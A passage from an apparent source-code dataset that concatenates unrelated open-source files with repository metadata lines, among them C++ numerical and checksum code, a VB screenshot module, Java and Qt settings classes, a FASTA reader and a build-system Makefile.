oldvel_ = (*(*(*bucket()).fetch_system(velname_.first)).
fetch_coeff(velname_.second.second)).
genericfunction_ptr((*bucket()).old_time_ptr());
}
if(outname_.second.first=="field")
{
out_ = (*(*(*bucket()).fetch_system(outname_.first)).
fetch_field(outname_.second.second)).
genericfunction_ptr(time());
}
else
{
out_ = (*(*(*bucket()).fetch_system(outname_.first)).
fetch_coeff(outname_.second.second)).
genericfunction_ptr(time());
}
assert(value_rank()==(*func_).value_rank());
assert(value_rank()==(*out_).value_rank());
for (uint i = 0; i < value_rank(); i++)
{
assert(value_dimension(i)==(*func_).value_dimension(i));
assert(value_dimension(i)==(*out_).value_dimension(i));
}
mesh_ = (*(*bucket()).fetch_system(funcname_.first)).mesh();// use the mesh from the function system
dim_ = (*mesh_).geometry().dim();
assert((*vel_).value_rank()<2);
if((*vel_).value_rank()==0)
{
assert(dim_==1);
}
else
{
assert((*vel_).value_dimension(0)==dim_);
}
ufccellstar_ = new ufc::cell;
xstar_ = new double[dim_];
v_ = new dolfin::Array<double>(dim_);
oldv_ = new dolfin::Array<double>(dim_);
vstar_ = new dolfin::Array<double>(dim_);
cellcache_ = new dolfin::MeshFunction< point_map >(mesh_, dim_);
}
}
//*******************************************************************|************************************************************//
// overload dolfin expression eval
//*******************************************************************|************************************************************//
void SemiLagrangianExpression::eval(dolfin::Array<double>& values,
const dolfin::Array<double>& x,
const ufc::cell &cell) const
{
const bool outside = findpoint_(x, cell);
dolfin::Array<double> xstar(dim_, xstar_);
if (outside)
{
(*out_).eval(values, xstar, *ufccellstar_);
}
else
{
(*func_).eval(values, xstar, *ufccellstar_);
}
}
//*******************************************************************|************************************************************//
// find the launch point
//*******************************************************************|************************************************************//
const bool SemiLagrangianExpression::findpoint_(const dolfin::Array<double>& x,
const ufc::cell &cell) const
{
bool outside = false;
point_map &points = (*cellcache_)[cell.index];
dolfin::Point lp(x.size(), x.data());
point_iterator p_it = points.find(lp);
findvstar_(x, cell);
for (uint k = 0; k < 2; k++)
{
for (uint i = 0; i < dim_; i++)
{
xstar_[i] = x[i] - ((*bucket()).timestep()/2.0)*(*vstar_)[i];
}
outside = checkpoint_(0, p_it, points, lp);
if (outside)
{
return true;
}
dolfin::Array<double> xstar(dim_, xstar_);
findvstar_(xstar, *ufccellstar_);
}
for (uint i = 0; i < dim_; i++)
{
xstar_[i] = x[i] - ((*bucket()).timestep())*(*vstar_)[i];
}
outside = checkpoint_(1, p_it, points, lp);
if (outside)
{
return true;
}
return false;
}
//*******************************************************************|************************************************************//
// find the time weighted velocity at the requested point, x
//*******************************************************************|************************************************************//
void SemiLagrangianExpression::findvstar_(const dolfin::Array<double>& x,
const ufc::cell &cell) const
{
(*vel_).eval(*v_, x, cell);
(*oldvel_).eval(*oldv_, x, cell);
for (uint i = 0; i < dim_; i++)
{
(*vstar_)[i] = 0.5*( (*v_)[i] + (*oldv_)[i] );
}
}
//*******************************************************************|************************************************************//
// check if the current xstar_ is in the cache and/or is valid
//*******************************************************************|************************************************************//
const bool SemiLagrangianExpression::checkpoint_(const int &index,
point_iterator &p_it,
point_map &points,
const dolfin::Point &lp) const
{
std::vector<unsigned int> cell_indices;
int cell_index;
const dolfin::Point p(dim_, xstar_);
if (p_it != points.end())
{
cell_index = (*p_it).second[index];
bool update = false;
if (cell_index < 0)
{
update = true;
}
else
{
dolfin::Cell dolfincell(*mesh_, cell_index);
if (!dolfincell.collides(p))
{
update = true;
}
}
if (update)
{
cell_indices = (*(*mesh_).bounding_box_tree()).compute_entity_collisions(p);
if (cell_indices.size()==0)
{
cell_index = -1;
}
else
{
cell_index = cell_indices[0];
}
(*p_it).second[index] = cell_index;
}
}
else
{
cell_indices = (*(*mesh_).bounding_box_tree()).compute_entity_collisions(p);
if (cell_indices.size()==0)
{
cell_index = -1;
}
else
{
cell_index = cell_indices[0];
}
std::vector<int> cells(2, -1);
cells[index] = cell_index;
points[lp] = cells;
}
if (cell_index<0)
{
return true;
}
dolfin::Cell dolfincell(*mesh_, cell_index);
dolfincell.get_cell_data(*ufccellstar_);
return false;
}
| TerraFERMA/TerraFERMA | buckettools/cpp/SemiLagrangianExpression.cpp | C++ | lgpl-3.0 | 13,110 |
#include "util/checksum.hpp"
namespace trillek {
namespace util {
namespace algorithm {
static uint32_t crc32_table[256];
static bool crc32_table_computed = false;
static void GenCRC32Table()
{
uint32_t c;
uint32_t i;
int k;
for(i = 0; i < 256; i++) {
c = i;
for(k = 0; k < 8; k++) {
if(c & 1)
c = 0xedb88320ul ^ (c >> 1);
else
c = c >> 1;
}
crc32_table[i] = c;
}
crc32_table_computed = true;
}
void Crc32::Update(char d) {
if(!crc32_table_computed)
GenCRC32Table();
ldata = crc32_table[(ldata ^ ((unsigned char)d)) & 0xff] ^ (ldata >> 8);
}
void Crc32::Update(const std::string &d) {
uint32_t c = ldata;
std::string::size_type n, l = d.length();
if(!crc32_table_computed)
GenCRC32Table();
for(n = 0; n < l; n++) {
c = crc32_table[(c ^ ((unsigned char)d[n])) & 0xff] ^ (c >> 8);
}
ldata = c;
}
void Crc32::Update(const void *dv, size_t l) {
uint32_t c = ldata;
std::string::size_type n;
char * d = (char*)dv;
if(!crc32_table_computed)
GenCRC32Table();
for(n = 0; n < l; n++) {
c = crc32_table[(c ^ ((unsigned char)d[n])) & 0xff] ^ (c >> 8);
}
ldata = c;
}
static const uint32_t ADLER_LIMIT = 5552;
static const uint32_t ADLER_BASE = 65521u;
void Adler32::Update(const std::string &d) {
Update(d.data(), d.length());
}
void Adler32::Update(const void *dv, size_t l) {
uint32_t c1 = ldata & 0xffff;
uint32_t c2 = (ldata >> 16) & 0xffff;
unsigned char * d = (unsigned char*)dv;
std::string::size_type n = 0;
while(l >= ADLER_LIMIT) {
l -= ADLER_LIMIT;
uint32_t limit = ADLER_LIMIT / 16;
while(limit--) {
c1 += d[n ]; c2 += c1; c1 += d[n+ 1]; c2 += c1;
c1 += d[n+ 2]; c2 += c1; c1 += d[n+ 3]; c2 += c1;
c1 += d[n+ 4]; c2 += c1; c1 += d[n+ 5]; c2 += c1;
c1 += d[n+ 6]; c2 += c1; c1 += d[n+ 7]; c2 += c1;
c1 += d[n+ 8]; c2 += c1; c1 += d[n+ 9]; c2 += c1;
c1 += d[n+10]; c2 += c1; c1 += d[n+11]; c2 += c1;
c1 += d[n+12]; c2 += c1; c1 += d[n+13]; c2 += c1;
c1 += d[n+14]; c2 += c1; c1 += d[n+15]; c2 += c1;
n += 16;
}
c1 %= ADLER_BASE;
c2 %= ADLER_BASE;
}
for(; l; n++, l--) {
c1 += d[n];
while(c1 >= ADLER_BASE) {
c1 -= ADLER_BASE;
}
c2 += c1;
while(c2 >= ADLER_BASE) {
c2 -= ADLER_BASE;
}
}
ldata = (c2 << 16) + c1;
}
} // algorithm
} // util
} // trillek
| trillek-team/trillek-common | src/util/checksum.cpp | C++ | lgpl-3.0 | 2,639 |
Imports Windows.Graphics.Imaging
Imports Windows.Storage
Imports Windows.Storage.Pickers
Imports Windows.Storage.Streams
Imports Windows.UI
Module Captura
Public Async Sub Generar(lv As ListView, tienda As String)
Dim picker As New FileSavePicker()
picker.FileTypeChoices.Add("PNG File", New List(Of String)() From {
".png"
})
picker.SuggestedFileName = tienda.ToLower + DateTime.Today.Day.ToString + DateTime.Now.Hour.ToString +
DateTime.Now.Minute.ToString + DateTime.Now.Millisecond.ToString
Dim ficheroImagen As StorageFile = Await picker.PickSaveFileAsync()
If ficheroImagen Is Nothing Then
Return
End If
lv.Background = New SolidColorBrush(Colors.Gainsboro)
Dim stream As IRandomAccessStream = Await ficheroImagen.OpenAsync(FileAccessMode.ReadWrite)
Dim render As New RenderTargetBitmap
Await render.RenderAsync(lv)
Dim buffer As IBuffer = Await render.GetPixelsAsync
Dim pixels As Byte() = buffer.ToArray
Dim logicalDpi As Single = DisplayInformation.GetForCurrentView().LogicalDpi
Dim encoder As BitmapEncoder = Await BitmapEncoder.CreateAsync(BitmapEncoder.PngEncoderId, stream)
encoder.SetPixelData(BitmapPixelFormat.Bgra8, BitmapAlphaMode.Ignore, render.PixelWidth, render.PixelHeight, logicalDpi, logicalDpi, pixels)
Await encoder.FlushAsync()
lv.Background = New SolidColorBrush(Colors.Transparent)
End Sub
End Module
| pepeizq/Steam-Deals | Steam Deals/Modulos/Herramientas/Captura.vb | Visual Basic | lgpl-3.0 | 1,559 |
/*
* Copyright (C) 2011-2020 [email protected]
*
* See the LICENSE file for license.
*/
#include "my_main.h"
#include "my_thing_tile.h"
#include "my_time_util.h"
#include "my_wid.h"
void wid_animate (widp w)
{_
if (!w->animate) {
return;
}
tpp tp = wid_get_thing_template(w);
if (!tp) {
return;
}
if (!tp_is_animated(tp)) {
return;
}
thing_tilep tile;
tile = w->current_tile;
if (tile) {
/*
* If within the animate time of this frame, keep with it.
*/
if (w->timestamp_change_to_next_frame > time_get_time_ms()) {
return;
}
/*
* Stop the animation here?
*/
if (thing_tile_is_end_of_anim(tile)) {
return;
}
}
auto tiles = tp_get_tiles(tp);
/*
* Get the next tile.
*/
if (tile) {
tile = thing_tile_next(tiles, tile);
}
/*
* Find a tile that matches the things current mode.
*/
uint32_t size = tiles.size();
uint32_t tries = 0;
while (tries < size) {
tries++;
/*
* Cater for wraps.
*/
if (!tile) {
tile = thing_tile_first(tiles);
}
{
if (thing_tile_is_dead(tile)) {
tile = thing_tile_next(tiles, tile);
continue;
}
if (thing_tile_is_open(tile)) {
tile = thing_tile_next(tiles, tile);
continue;
}
}
break;
}
if (!tile) {
return;
}
/*
* Use this tile!
*/
w->current_tile = tile;
wid_set_tilename(w, thing_tile_name(tile));
/*
* When does this tile expire ?
*/
uint32_t delay = thing_tile_delay_ms(tile);
if (delay) {
delay = myrand() % delay;
}
w->timestamp_change_to_next_frame = time_get_time_ms() + delay;
}
| goblinhack/goblinhack2 | src/wid_anim.cpp | C++ | lgpl-3.0 | 1,949 |
/*******************************************************************************
* Copyright (c) 2014 Open Door Logistics (www.opendoorlogistics.com)
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the GNU Lesser Public License v3
* which accompanies this distribution, and is available at http://www.gnu.org/licenses/lgpl.txt
******************************************************************************/
package com.opendoorlogistics.core.scripts.execution.dependencyinjection;
import java.awt.Dimension;
import javax.swing.JPanel;
import com.opendoorlogistics.api.HasApi;
import com.opendoorlogistics.api.components.ComponentControlLauncherApi.ControlLauncherCallback;
import com.opendoorlogistics.api.components.ComponentExecutionApi.ClosedStatusObservable;
import com.opendoorlogistics.api.components.ComponentExecutionApi.ModalDialogResult;
import com.opendoorlogistics.api.components.ODLComponent;
import com.opendoorlogistics.api.components.ProcessingApi;
import com.opendoorlogistics.api.distances.DistancesConfiguration;
import com.opendoorlogistics.api.distances.ODLCostMatrix;
import com.opendoorlogistics.api.geometry.LatLong;
import com.opendoorlogistics.api.geometry.ODLGeom;
import com.opendoorlogistics.api.tables.ODLDatastore;
import com.opendoorlogistics.api.tables.ODLTable;
import com.opendoorlogistics.api.tables.ODLTableReadOnly;
import com.opendoorlogistics.core.tables.decorators.datastores.dependencies.DataDependencies;
public interface DependencyInjector extends ProcessingApi, HasApi {
String getBatchKey();
ModalDialogResult showModalPanel(JPanel panel,String title, ModalDialogResult ...buttons);
ModalDialogResult showModalPanel(JPanel panel,String title,Dimension minSize, ModalDialogResult ...buttons);
<T extends JPanel & ClosedStatusObservable> void showModalPanel(T panel, String title);
ODLCostMatrix calculateDistances(DistancesConfiguration request, ODLTableReadOnly... tables);
ODLGeom calculateRouteGeom(DistancesConfiguration request, LatLong from, LatLong to);
void addInstructionDependencies(String instructionId, DataDependencies dependencies);
void submitControlLauncher(String instructionId,ODLComponent component,ODLDatastore<? extends ODLTable> parametersTableCopy, String reportTopLabel,ControlLauncherCallback cb);
}
| PGWelch/com.opendoorlogistics | com.opendoorlogistics.core/src/com/opendoorlogistics/core/scripts/execution/dependencyinjection/DependencyInjector.java | Java | lgpl-3.0 | 2,349 |
/******************************************************************************
* Copyright (c) 2014-2015 Leandro T. C. Melo ([email protected])
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301
* USA
*****************************************************************************/
#include "ui_uaisosettings.h"
#include "uaisosettings.h"
#include "uaisoeditor.h"
#include <coreplugin/icore.h>
#include <QPointer>
/* Uaiso - https://github.com/ltcmelo/uaiso
*
* Notice: This implementation has the only purpose of showcasing a few
* components of the Uaiso project. It's not intended to be efficient,
* nor to be taken as reference on how to write Qt Creator editors. It's
* not even complete. The primary concern is to demonstrate Uaiso's API.
*/
using namespace UaisoQtc;
using namespace TextEditor;
using namespace uaiso;
struct UaisoSettingsPage::UaisoSettingsPagePrivate
{
explicit UaisoSettingsPagePrivate()
: m_displayName(tr("Uaiso Source Analyser"))
, m_settingsPrefix(QLatin1String("Uaiso"))
, m_prevIndex(-1)
, m_page(0)
{}
const Core::Id m_id;
const QString m_displayName;
const QString m_settingsPrefix;
int m_prevIndex;
UaisoSettings m_settings;
QPointer<QWidget> m_widget;
Ui::UaisoSettingsPage *m_page;
};
UaisoSettingsPage::UaisoSettingsPage(QObject *parent)
: Core::IOptionsPage(parent)
, m_d(new UaisoSettingsPagePrivate)
{
setId(Constants::SETTINGS_ID);
setDisplayName(m_d->m_displayName);
setCategory(Constants::SETTINGS_CATEGORY);
setDisplayCategory(QCoreApplication::translate("Uaiso", Constants::SETTINGS_TR_CATEGORY));
//setCategoryIcon(QLatin1String(Constants::SETTINGS_CATEGORY_ICON));
}
UaisoSettingsPage::~UaisoSettingsPage()
{
delete m_d;
}
QWidget *UaisoSettingsPage::widget()
{
if (!m_d->m_widget) {
m_d->m_widget = new QWidget;
m_d->m_page = new Ui::UaisoSettingsPage;
m_d->m_page->setupUi(m_d->m_widget);
m_d->m_page->langCombo->setCurrentIndex(0);
for (auto lang : supportedLangs()) {
m_d->m_page->langCombo->addItem(QString::fromStdString(langName(lang)),
QVariant::fromValue(static_cast<int>(lang)));
}
m_d->m_settings.load(Core::ICore::settings());
m_d->m_prevIndex = -1; // Reset previous index.
connect(m_d->m_page->langCombo, SIGNAL(currentIndexChanged(int)),
this, SLOT(displayOptionsForLang(int)));
settingsToUI();
}
return m_d->m_widget;
}
void UaisoSettingsPage::apply()
{
if (!m_d->m_page)
return;
settingsFromUI();
m_d->m_settings.store(Core::ICore::settings());
}
void UaisoSettingsPage::finish()
{
delete m_d->m_widget;
if (!m_d->m_page)
return;
delete m_d->m_page;
m_d->m_page = 0;
}
void UaisoSettingsPage::displayOptionsForLang(int index)
{
if (m_d->m_prevIndex != -1)
updateOptionsOfLang(m_d->m_prevIndex);
UaisoSettings::LangOptions &options = m_d->m_settings.m_options[index];
m_d->m_page->enabledCheck->setChecked(options.m_enabled);
m_d->m_page->interpreterEdit->setText(options.m_interpreter);
m_d->m_page->sysPathEdit->setText(options.m_systemPaths);
m_d->m_page->extraPathEdit->setText(options.m_extraPaths);
m_d->m_prevIndex = index;
}
void UaisoSettingsPage::updateOptionsOfLang(int index)
{
UaisoSettings::LangOptions &options = m_d->m_settings.m_options[index];
options.m_enabled = m_d->m_page->enabledCheck->isChecked();
options.m_interpreter = m_d->m_page->interpreterEdit->text();
options.m_systemPaths = m_d->m_page->sysPathEdit->text();
options.m_extraPaths = m_d->m_page->extraPathEdit->text();
}
void UaisoSettingsPage::settingsFromUI()
{
updateOptionsOfLang(m_d->m_page->langCombo->currentIndex());
}
void UaisoSettingsPage::settingsToUI()
{
displayOptionsForLang(m_d->m_page->langCombo->currentIndex());
}
namespace {
const QLatin1String kUaiso("UaisoSettings");
const QLatin1String kEnabled("Enabled");
const QLatin1String kInterpreter("Interpreter");
const QLatin1String kSystemPaths("SystemPaths");
const QLatin1String kExtraPaths("ExtraPaths");
} // anonymous
void UaisoSettings::store(QSettings *settings,
const LangOptions &options,
const QString& group) const
{
settings->beginGroup(group);
settings->setValue(kEnabled, options.m_enabled);
settings->setValue(kInterpreter, options.m_interpreter);
settings->setValue(kSystemPaths, options.m_systemPaths);
settings->setValue(kExtraPaths, options.m_extraPaths);
settings->endGroup();
}
void UaisoSettings::store(QSettings *settings) const
{
for (auto const& option : m_options) {
store(settings,
option.second,
kUaiso + QString::fromStdString(langName(LangName(option.first))));
}
}
void UaisoSettings::load(QSettings *settings,
LangOptions &options,
const QString& group)
{
settings->beginGroup(group);
options.m_enabled = settings->value(kEnabled).toBool();
options.m_interpreter = settings->value(kInterpreter).toString();
options.m_systemPaths = settings->value(kSystemPaths).toString();
options.m_extraPaths = settings->value(kExtraPaths).toString();
settings->endGroup();
}
void UaisoSettings::load(QSettings *settings)
{
for (auto lang : supportedLangs()) {
auto& option = m_options[static_cast<int>(lang)];
load(settings,
option,
kUaiso + QString::fromStdString(langName(lang)));
}
}
| ltcmelo/qt-creator | src/plugins/uaisoeditor/uaisosettings.cpp | C++ | lgpl-3.0 | 6,458 |
/****************************************************************************
**
** Copyright (C) 2014-2018 Dinu SV.
** (contact: [email protected])
** This file is part of Live CV Application.
**
** GNU Lesser General Public License Usage
** This file may be used under the terms of the GNU Lesser
** General Public License version 3 as published by the Free Software
** Foundation and appearing in the file LICENSE.LGPLv3 included in the
** packaging of this file. Please review the following information to
** ensure the GNU Lesser General Public License version 3 requirements
** will be met: https://www.gnu.org/licenses/lgpl.html.
**
****************************************************************************/
#include "qmllibrarydependency.h"
#include <QStringList>
namespace lv{
QmlLibraryDependency::QmlLibraryDependency(const QString &uri, int versionMajor, int versionMinor)
: m_uri(uri)
, m_versionMajor(versionMajor)
, m_versionMinor(versionMinor)
{
}
QmlLibraryDependency::~QmlLibraryDependency(){
}
QmlLibraryDependency QmlLibraryDependency::parse(const QString &import){
int position = import.lastIndexOf(' ');
if ( position == -1 )
return QmlLibraryDependency("", -1, -1);
int major, minor;
bool isVersion = parseVersion(import.mid(position + 1).trimmed(), &major, &minor);
if ( !isVersion )
return QmlLibraryDependency("", -1, -1);
return QmlLibraryDependency(import.mid(0, position).trimmed(), major, minor);
}
int QmlLibraryDependency::parseInt(const QStringRef &str, bool *ok){
int pos = 0;
int number = 0;
while (pos < str.length() && str.at(pos).isDigit()) {
if (pos != 0)
number *= 10;
number += str.at(pos).unicode() - '0';
++pos;
}
if (pos != str.length())
*ok = false;
else
*ok = true;
return number;
}
bool QmlLibraryDependency::parseVersion(const QString &str, int *major, int *minor){
const int dotIndex = str.indexOf(QLatin1Char('.'));
if (dotIndex != -1 && str.indexOf(QLatin1Char('.'), dotIndex + 1) == -1) {
bool ok = false;
*major = parseInt(QStringRef(&str, 0, dotIndex), &ok);
if (ok)
*minor = parseInt(QStringRef(&str, dotIndex + 1, str.length() - dotIndex - 1), &ok);
return ok;
}
return false;
}
QString QmlLibraryDependency::path() const{
QStringList splitPath = m_uri.split('.');
QString res = splitPath.join(QLatin1Char('/'));
if (res.isEmpty() && !splitPath.isEmpty())
return QLatin1String("/");
return res;
}
}// namespace
| livecv/livecv | lib/lveditqmljs/src/qmllibrarydependency.cpp | C++ | lgpl-3.0 | 2,596 |
package org.energy_home.dal.functions.data;
import java.util.Map;
import org.osgi.service.dal.FunctionData;
public class DoorLockData extends FunctionData {
public final static String STATUS_OPEN = "OPEN";
public final static String STATUS_CLOSED = "CLOSED";
private String status;
public DoorLockData(long timestamp, Map metadata) {
super(timestamp, metadata);
}
public DoorLockData(long timestamp, Map metadata, String status) {
super(timestamp, metadata);
this.status = status;
}
public String getStatus() {
return this.status;
}
public int compareTo(Object o) {
return 0;
}
}
| ismb/jemma.osgi.dal.functions.eh | src/main/java/org/energy_home/dal/functions/data/DoorLockData.java | Java | lgpl-3.0 | 611 |
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "fasta.h"
#include "util.h"
fastap fa_alloc(int maxlen) {
fastap fa;
fa = (fastap) malloc(sizeof(struct fasta));
fa->id = (char *) malloc(maxlen+1);
fa->data = (char *) malloc(maxlen+1);
fa->maxlen = maxlen;
return fa;
}
int fa_next(fastap seq,FILE *fd) {
fgets(seq->id,seq->maxlen+1,fd);
if (feof(fd)) {
return 0;
}
seq->id[0] = ' '; /* white out the ">" */
stripWhiteSpace(seq->id); /* remove blank, newline */
fgets(seq->data,seq->maxlen+1,fd);
stripWhiteSpace(seq->data); /* remove newline */
return 1;
}
void fa_fasta(fastap seq,FILE *fd) {
fprintf(fd,">%s\n%s\n",seq->id,seq->data);
}
void fa_fasta_trunc(fastap seq,FILE *fd,int len) {
seq->data[len] = 0;
fprintf(fd,">%s\n%s\n",seq->id,seq->data);
}
void fa_free(fastap seq) {
if (seq != NULL) {
free(seq->id);
free(seq->data);
free(seq);
}
}
void fa_mask(fastap seq,unsigned start,unsigned length,char mask) {
unsigned i;
unsigned seqlen;
seqlen = strlen(seq->data);
if (start >= seqlen) {
return; /* can't start past the end of the sequence */
}
if (length == 0 || /* default: from 'start' to end of sequence */
start + length > seqlen) { /* writing past end of sequence */
length = seqlen - start;
}
for (i=start;i<start+length;i++) {
seq->data[i] = mask;
}
}
| gdbzork/bode_cpp | tools_legacy/src/util/fasta.c | C | lgpl-3.0 | 1,384 |
.NOTPARALLEL :
SOURCES_PATH ?= $(BASEDIR)/sources
BASE_CACHE ?= $(BASEDIR)/built
SDK_PATH ?= $(BASEDIR)/SDKs
NO_QT ?=
NO_WALLET ?=
NO_UPNP ?=
FALLBACK_DOWNLOAD_PATH ?= https://crimsoncore.org/depends-sources
BUILD = $(shell ./config.guess)
HOST ?= $(BUILD)
PATCHES_PATH = $(BASEDIR)/patches
BASEDIR = $(CURDIR)
HASH_LENGTH:=11
DOWNLOAD_CONNECT_TIMEOUT:=10
DOWNLOAD_RETRIES:=3
HOST_ID_SALT ?= salt
BUILD_ID_SALT ?= salt
host:=$(BUILD)
ifneq ($(HOST),)
host:=$(HOST)
host_toolchain:=$(HOST)-
endif
ifneq ($(DEBUG),)
release_type=debug
else
release_type=release
endif
base_build_dir=$(BASEDIR)/work/build
base_staging_dir=$(BASEDIR)/work/staging
base_download_dir=$(BASEDIR)/work/download
canonical_host:=$(shell ./config.sub $(HOST))
build:=$(shell ./config.sub $(BUILD))
build_arch =$(firstword $(subst -, ,$(build)))
build_vendor=$(word 2,$(subst -, ,$(build)))
full_build_os:=$(subst $(build_arch)-$(build_vendor)-,,$(build))
build_os:=$(findstring linux,$(full_build_os))
build_os+=$(findstring darwin,$(full_build_os))
build_os:=$(strip $(build_os))
ifeq ($(build_os),)
build_os=$(full_build_os)
endif
host_arch=$(firstword $(subst -, ,$(canonical_host)))
host_vendor=$(word 2,$(subst -, ,$(canonical_host)))
full_host_os:=$(subst $(host_arch)-$(host_vendor)-,,$(canonical_host))
host_os:=$(findstring linux,$(full_host_os))
host_os+=$(findstring darwin,$(full_host_os))
host_os+=$(findstring mingw32,$(full_host_os))
host_os:=$(strip $(host_os))
ifeq ($(host_os),)
host_os=$(full_host_os)
endif
$(host_arch)_$(host_os)_prefix=$(BASEDIR)/$(host)
$(host_arch)_$(host_os)_host=$(host)
host_prefix=$($(host_arch)_$(host_os)_prefix)
build_prefix=$(host_prefix)/native
build_host=$(build)
AT_$(V):=
AT_:=@
AT:=$(AT_$(V))
all: install
include hosts/$(host_os).mk
include hosts/default.mk
include builders/$(build_os).mk
include builders/default.mk
include packages/packages.mk
build_id_string:=$(BUILD_ID_SALT)
build_id_string+=$(shell $(build_CC) --version 2>/dev/null)
build_id_string+=$(shell $(build_AR) --version 2>/dev/null)
build_id_string+=$(shell $(build_CXX) --version 2>/dev/null)
build_id_string+=$(shell $(build_RANLIB) --version 2>/dev/null)
build_id_string+=$(shell $(build_STRIP) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string:=$(HOST_ID_SALT)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_CC) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_AR) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_CXX) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_RANLIB) --version 2>/dev/null)
$(host_arch)_$(host_os)_id_string+=$(shell $(host_STRIP) --version 2>/dev/null)
qt_packages_$(NO_QT) = $(qt_packages) $(qt_$(host_os)_packages) $(qt_$(host_arch)_$(host_os)_packages)
wallet_packages_$(NO_WALLET) = $(wallet_packages)
upnp_packages_$(NO_UPNP) = $(upnp_packages)
packages += $($(host_arch)_$(host_os)_packages) $($(host_os)_packages) $(qt_packages_) $(wallet_packages_) $(upnp_packages_)
native_packages += $($(host_arch)_$(host_os)_native_packages) $($(host_os)_native_packages)
ifneq ($(qt_packages_),)
native_packages += $(qt_native_packages)
endif
all_packages = $(packages) $(native_packages)
meta_depends = Makefile funcs.mk builders/default.mk hosts/default.mk hosts/$(host_os).mk builders/$(build_os).mk
$(host_arch)_$(host_os)_native_toolchain?=$($(host_os)_native_toolchain)
include funcs.mk
toolchain_path=$($($(host_arch)_$(host_os)_native_toolchain)_prefixbin)
final_build_id_long+=$(shell $(build_SHA256SUM) config.site.in)
final_build_id+=$(shell echo -n "$(final_build_id_long)" | $(build_SHA256SUM) | cut -c-$(HASH_LENGTH))
$(host_prefix)/.stamp_$(final_build_id): $(native_packages) $(packages)
$(AT)rm -rf $(@D)
$(AT)mkdir -p $(@D)
$(AT)echo copying packages: $^
$(AT)echo to: $(@D)
$(AT)cd $(@D); $(foreach package,$^, tar xf $($(package)_cached); )
$(AT)touch $@
$(host_prefix)/share/config.site : config.site.in $(host_prefix)/.stamp_$(final_build_id)
$(AT)@mkdir -p $(@D)
$(AT)sed -e 's|@HOST@|$(host)|' \
-e 's|@CC@|$(toolchain_path)$(host_CC)|' \
-e 's|@CXX@|$(toolchain_path)$(host_CXX)|' \
-e 's|@AR@|$(toolchain_path)$(host_AR)|' \
-e 's|@RANLIB@|$(toolchain_path)$(host_RANLIB)|' \
-e 's|@NM@|$(toolchain_path)$(host_NM)|' \
-e 's|@STRIP@|$(toolchain_path)$(host_STRIP)|' \
-e 's|@build_os@|$(build_os)|' \
-e 's|@host_os@|$(host_os)|' \
-e 's|@CFLAGS@|$(strip $(host_CFLAGS) $(host_$(release_type)_CFLAGS))|' \
-e 's|@CXXFLAGS@|$(strip $(host_CXXFLAGS) $(host_$(release_type)_CXXFLAGS))|' \
-e 's|@CPPFLAGS@|$(strip $(host_CPPFLAGS) $(host_$(release_type)_CPPFLAGS))|' \
-e 's|@LDFLAGS@|$(strip $(host_LDFLAGS) $(host_$(release_type)_LDFLAGS))|' \
-e 's|@no_qt@|$(NO_QT)|' \
-e 's|@no_wallet@|$(NO_WALLET)|' \
-e 's|@no_upnp@|$(NO_UPNP)|' \
-e 's|@debug@|$(DEBUG)|' \
$< > $@
$(AT)touch $@
define check_or_remove_cached
mkdir -p $(BASE_CACHE)/$(host)/$(package) && cd $(BASE_CACHE)/$(host)/$(package); \
$(build_SHA256SUM) -c $($(package)_cached_checksum) >/dev/null 2>/dev/null || \
( rm -f $($(package)_cached_checksum); \
if test -f "$($(package)_cached)"; then echo "Checksum mismatch for $(package). Forcing rebuild.."; rm -f $($(package)_cached_checksum) $($(package)_cached); fi )
endef
define check_or_remove_sources
mkdir -p $($(package)_source_dir); cd $($(package)_source_dir); \
test -f $($(package)_fetched) && ( $(build_SHA256SUM) -c $($(package)_fetched) >/dev/null 2>/dev/null || \
( echo "Checksum missing or mismatched for $(package) source. Forcing re-download."; \
rm -f $($(package)_all_sources) $($(1)_fetched))) || true
endef
check-packages:
@$(foreach package,$(all_packages),$(call check_or_remove_cached,$(package));)
check-sources:
@$(foreach package,$(all_packages),$(call check_or_remove_sources,$(package));)
$(host_prefix)/share/config.site: check-packages
check-packages: check-sources
install: check-packages $(host_prefix)/share/config.site
download-one: check-sources $(all_sources)
download-osx:
@$(MAKE) -s HOST=x86_64-apple-darwin11 download-one
download-linux:
@$(MAKE) -s HOST=x86_64-unknown-linux-gnu download-one
download-win:
@$(MAKE) -s HOST=x86_64-w64-mingw32 download-one
download: download-osx download-linux download-win
.PHONY: install cached download-one download-osx download-linux download-win download check-packages check-sources
| CrimsonDev14/crimsoncoin | depends/Makefile | Makefile | lgpl-3.0 | 6,583 |
/*
* Mentawai Web Framework http://mentawai.lohis.com.br/
* Copyright (C) 2005 Sergio Oliveira Jr. ([email protected])
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
*/
package org.mentawai.filter;
import org.mentawai.core.Filter;
import org.mentawai.core.InvocationChain;
public class GlobalFilterFreeMarkerFilter implements Filter {
private final String[] innerActions;
public GlobalFilterFreeMarkerFilter() {
this.innerActions = null;
}
public GlobalFilterFreeMarkerFilter(String ... innerActions) {
this.innerActions = innerActions;
}
public boolean isGlobalFilterFree(String innerAction) {
if (innerActions == null) return true;
if (innerAction == null) return false; // inner actions are specified...
for(String s : innerActions) {
if (s.equals(innerAction)) return true;
}
return false;
}
